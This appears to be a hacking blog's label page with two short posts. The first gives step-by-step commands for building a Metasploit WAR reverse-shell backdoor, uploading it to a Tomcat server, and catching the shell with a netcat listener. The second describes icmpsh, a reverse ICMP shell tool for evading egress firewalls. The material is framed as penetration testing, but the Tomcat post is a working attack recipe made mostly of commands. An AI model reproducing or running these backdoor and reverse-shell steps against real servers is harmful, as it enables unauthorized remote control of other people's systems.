Showing posts with label shell. Show all posts
Showing posts with label shell. Show all posts

Friday, June 22, 2012

Hacking Tomcat using Metasploit’s WAR payloads


Facing a tomcat server.. and need to upload a WAR backdoor…??, well… we can create a WAR backdoor very easily with Metasploit, ok follow this steps:
1. Creating the backdoor.
dudul@banget:~$ msfpayload linux/x86/shell_reverse_tcp LHOST=172.16.96.1 W > dudul.war
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell_reverse_tcp
Length: 71
Options: {“LHOST”=>”172.16.96.1″}
it will create a WAR file contain a random name for jsp backdoor file
2. Upload the WAR file.
3. Use netcat to listen for the reverse shell connection.
dudul@banget:~$ nc.traditional -lvp 4444
listening on [any] 4444 …
4. Access the backdoor with the web browser.
http://172.16.96.140:8080/dudul/spwigfeikmv.jsp
msf create a random jsp file, so… make sure to access the right jsp file
5. Boom… we got a reverse shell connection. :D

Reverse ICMP backdoor


Reverse icmp backdoor kit from Bernardo Damele A. G
Sometimes, network administrators make the penetration tester’s life harder. Some of them do use firewalls for what they are meant to, surprisingly!
Allowing traffic only onto known machines, ports and services (ingress filtering) and setting strong egress access control lists is one of these cases. In such scenarios when you have owned a machine part of the internal network or the DMZ (e.g. in a Citrix breakout engagement or similar), it is not always trivial to get a reverse shell over TCP, not to consider a bind shell.
However, what about UDP (commonly a DNS tunnel) or ICMP as the channel to get a reverse shell?
Bernardo: Last year a friend of mine coded a tool called icmpsh. It implements the reverse ICMP shell concept very well. The main advantage over the other open source tools is that it does not require administrative privileges to run onto the target machine.
I spent some time playing with the tool and was immediately impressed. It is clean, easy and portable. The slave (client) runs on the target machine, it is written in C and works on Windows only whereas the master (server) can run on any platform as it has been implemented in C and Perl by Nico. I ported it to Python too.
The reason for the Python port is that I wrapped it into sqlmap too. As of version 0.9 stable you can either establish the out-of-band connection via TCP with Metasploit or via ICMP with icmpsh – switch –os-pwn.
icmpsh Features
  • Open source software – primarily coded by Nico, forked by Bernardo Damele A. G .
  • Client/server architecture.
  • The master is portable across any platform that can run either C, Perl or Python code.
  • The target system has to be Windows because the slave runs on that platform only for now.
  • The user running the slave on the target system does not require administrative privileges.
Example
Running icmpsh slave on target system (192.168.136.129) by specifying the master IP 192.168.136.1

Running icmpsh master on attacker machine (192.168.136.1) and issuing two OS commands onto the target system (192.168.136.129)
Response packet from icmpsh slave containing output of issued command whoami
The forked tool can be found on Bernardo’s GitHub at https://github.com/inquisb/icmpsh.